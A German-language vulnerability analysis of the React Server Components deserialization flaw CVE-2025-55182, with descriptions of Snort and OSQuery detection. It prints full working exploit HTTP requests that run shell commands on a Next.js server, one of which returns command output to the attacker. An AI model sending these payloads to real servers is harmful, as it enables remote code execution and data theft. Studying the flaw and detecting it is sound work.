
Proof-of-concept-Exploit, der Remote-Codeausführung durch unsichere Deserialisierung im React-Flight-Protokoll demonstriert (CVE-2025-55182). Enthält Snort- und OSQuery-Erkennungsregeln.
React Server Components ist ein Feature, das in React 19 eingeführt wurde und es ermöglicht, Komponenten auf dem Server statt im Browser des Clients zu rendern. Der Server kann komplexe Rechenaufgaben verarbeiten, während er nur das gerenderte Ergebnis an den Client sendet.
Die Kommunikation zwischen Server und Client in RSC basiert auf dem React-Flight-Protokoll. Dieses Protokoll übernimmt die Serialisierung und Deserialisierung der Daten, die zwischen Server und Client übertragen werden. Wenn ein Client eine serverseitige Funktion (Server Action) aufrufen muss, sendet er eine speziell formatierte Anfrage mit serialisierten Daten, die der Server deserialisiert und verarbeitet.
Das Flight-Protokoll verwendet ein spezifisches Serialisierungsformat mit Datentyp-Markierungen. Z. B.:
Genau dieser Serialisierungsmechanismus ist der Ort, an dem die Schwachstelle liegt. Der Server verarbeitet diese Verweise, ohne ordnungsgemäß zu validieren, ob die angeforderten Eigenschaften tatsächlich gültige Exporte des vorgesehenen Moduls sind.
CVE-2025-55182 ist im Kern eine Schwachstelle durch unsichere Deserialisierung in der Art und Weise, wie RSC eingehende Flight-Protokoll-Payloads verarbeitet. Die Schwachstelle befindet sich in der Funktion requireModule im Paket react-server-dom-webpack.
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... additional logic ...
return moduleExports[metadata[2]]; // VULNERABLE LINE
}
Der kritische Fehler liegt im Zugriff über die Klammernotation: moduleExports[metadata[2]]
In JavaScript prüft die JavaScript-Engine beim Zugriff auf eine Eigenschaft über die Klammernotation nicht nur die eigenen Eigenschaften des Objekts, sondern durchläuft auch die gesamte Prototypenkette. Das bedeutet, dass ein Angreifer auf Eigenschaften verweisen kann, die vom Modul nicht explizit exportiert werden.
Am wichtigsten: Jede Funktion in JavaScript besitzt eine constructor-Eigenschaft, die auf den Function-Konstruktor verweist. Durch den Zugriff auf someFunction.constructor erhält der Angreifer einen Verweis auf den globalen Function-Konstruktor – ein Objekt, das beliebigen JavaScript-Code ausführen kann, wenn es mit einem Argument in Form einer Zeichenkette aufgerufen wird.
Die Schwachstelle wird ausnutzbar, weil das Flight-Protokoll von React dem Client erlaubt, diese Eigenschaftspfade über die durch Doppelpunkte getrennte Verweissyntax anzugeben. Ein Angreifer kann einen Verweis wie $1:constructor:constructor erstellen, der den folgenden Durchlauf ausführt:
.constructor-Eigenschaft zugreifen (erhält den Function-Konstruktor).constructor zugreifen (immer noch der Function-Konstruktor, bestätigt jedoch die Zugriffskette)Der PoC beginnt mit dem Senden einer Multipart-Formularanfrage mit drei Feldern. Das erste Feld enthält ein absichtlich erstelltes gefälschtes Chunk-Objekt:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
Dieses Objekt ahmt die interne Struktur der chunk-Klasse in React nach. Indem then auf Chunk.prototype.then verweist, entsteht eine selbstreferenzielle Struktur. Wenn React diesen Chunk verarbeitet und per await auflöst, wird die Methode then mit dem gefälschten Chunk als this-Kontext aufgerufen.
Die nächste wichtige Komponente ist der Verweis $B1337. Im Flight-Protokoll von React kennzeichnet das Präfix $B einen Blob-Verweis. Wenn React den Blob-Verweis verarbeitet, ruft es eine Funktion auf, die Folgendes verwendet: response._formData.get(response._prefix + id)
An dieser Stelle wurden dem Objekt _response böswillige Eigenschaften eingefügt. Wenn der Blob-Handler ausführt: response._formData.get(response._prefix + id)
Tatsächlich führt er Folgendes aus: Function("process.mainModule.require('child_process').execSync('xcalc');1337")
Der Grund: _formData.get ist auf $1:constructor:constructor gesetzt, ein Verweis, der zum Function-Konstruktor aufgelöst wird. Der Wert von _prefix enthält den schädlichen Code. In Kombination wird der Function-Konstruktor mit der schädlichen Zeichenkette als Argument aufgerufen, wodurch eine Funktion erstellt und ausgeführt wird, die beliebigen JS-Code enthält.
Der Payload process.mainModule.require('child_process').execSync('xcalc') veranschaulicht die Fähigkeiten dieses Exploits. Der Payload führt Folgendes aus:
process.mainModule (das aktuell ausgeführte Hauptmodul)require, um das Modul child_process zu ladenexecSync, um einen Betriebssystembefehl auszuführenxcalc), um die erfolgreiche Ausnutzung zu demonstrierenDieser Payload kann modifiziert werden, um eine Reverse Shell einzurichten, Umgebungsvariablen mit geheimen Informationen zu extrahieren, sensible Dateien zu lesen oder beliebige Operationen auszuführen, die der Node.js-Prozess ausführen darf.
Betrachten wir eine vollständige Anfrage im PoC von maple3142:
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: [Độ_dài_thực_tế_của_body]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Der Header Next-Action: x aktiviert den Server-Action-Verarbeitungsmechanismus von React. Der Body besteht aus 3 Teilen:
_response-Struktur enthält.$@0 zeigt zurück auf Feld 0 und erzeugt eine selbstreferenzielle Struktur.Wenn der Server diese Anfrage verarbeitet, deserialisiert er Feld 0, stößt in Feld 1 auf den Verweis $@0, richtet die selbstreferenzielle then-Eigenschaft ein und aktiviert anschließend den Blob-Handler, der den Code über den Function-Konstruktor ausführt.
CVE-2025-55182 betrifft React Server Components in den folgenden Versionen:
Diese Schwachstelle ist gefährlich, weil:
create-next-app erstellt wurde, kann ausgenutzt werden, ohne dass der Quellcode geändert werden muss.Laut Shodan gibt es über 571.000 öffentliche Server mit React-Komponenten und 444.000 Server, die Next.js verwenden. Auch wenn nicht alle davon betroffene Versionen ausführen, ist die potenzielle Angriffsfläche enorm.
Eine Angriffsanfrage muss zwingend eine Kombination der folgenden sehr spezifischen Elemente enthalten:
Next-Action-Header und das Datenformat ist multipart/form-data.Funktionsweise: Diese Snort-Regel blockiert/meldet Netzwerkverkehr zum Server (to_server), der alle in Punkt 2 genannten Auffälligkeiten aufweist (Header + PCRE-Prüfung der böswilligen Payload-Zeichenfolge).
Zweck: Erkennt und unterbindet Ausnutzungsversuche, sobald sie über das Netzwerk laufen.
Funktionsweise: Führt regelmäßig Scan-Befehle auf dem Server oder im Software-Build-Prozess (CI/CD) aus, um betroffene Node.js-Bibliothekspakete (npm_packages) zu finden.
Zielpakete: react-server-dom-parcel, react-server-dom-turbopack und react-server-dom-webpack
Betroffene Versionen, die gescannt werden: 19.0.0, 19.1.0 bis unter 19.1.2 und 19.2.0.
Zweck: Proaktive Erkennung gefährdeter Anwendungen, bevor sie in die Produktionsumgebung gelangen.
Payload für das Labor:
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--